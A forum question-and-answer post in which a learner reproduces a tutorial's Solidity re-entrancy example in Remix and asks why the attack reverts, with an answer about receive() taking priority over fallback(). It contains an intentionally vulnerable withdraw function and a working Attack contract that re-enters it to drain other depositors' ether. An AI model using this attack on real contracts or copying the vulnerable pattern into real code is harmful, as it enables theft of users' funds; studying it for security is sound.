I'm following a tutorial on youtube about Re-Entrancy attacks to understand security.
I've created two contracts in seperated files using remix :
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "./EtherStore.sol";
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
First I deployed EtherStore, I send 2 ethers from different accounts Alice & Bob.
I deployed the Attack contract with the address of EtherStore.
Then with another Account that I deployed the Attack contract with, I entered 1 ether and click on the attack function to get the 2 ether of Alice & bob.
The error that I got is this one :
The transaction has been reverted to the initial state.
Note: The called function should be payable if you send value and the value you send should be less than your current balance.
Debug the transaction to get more information.
This is the code from the tutorial:
https://solidity-by-example.org/hacks/re-entrancy/
What do you think?
Best Answer
receive()
has priority overfallback()
. You have both of them in your contract so thereceive
will be called and not thefallback
.And there is no reason for it to fail if it does nothing and its
payable
so my guess is maybe you complied the code in remix but you forgot to deploy it again and you called theattack
on an old implementation.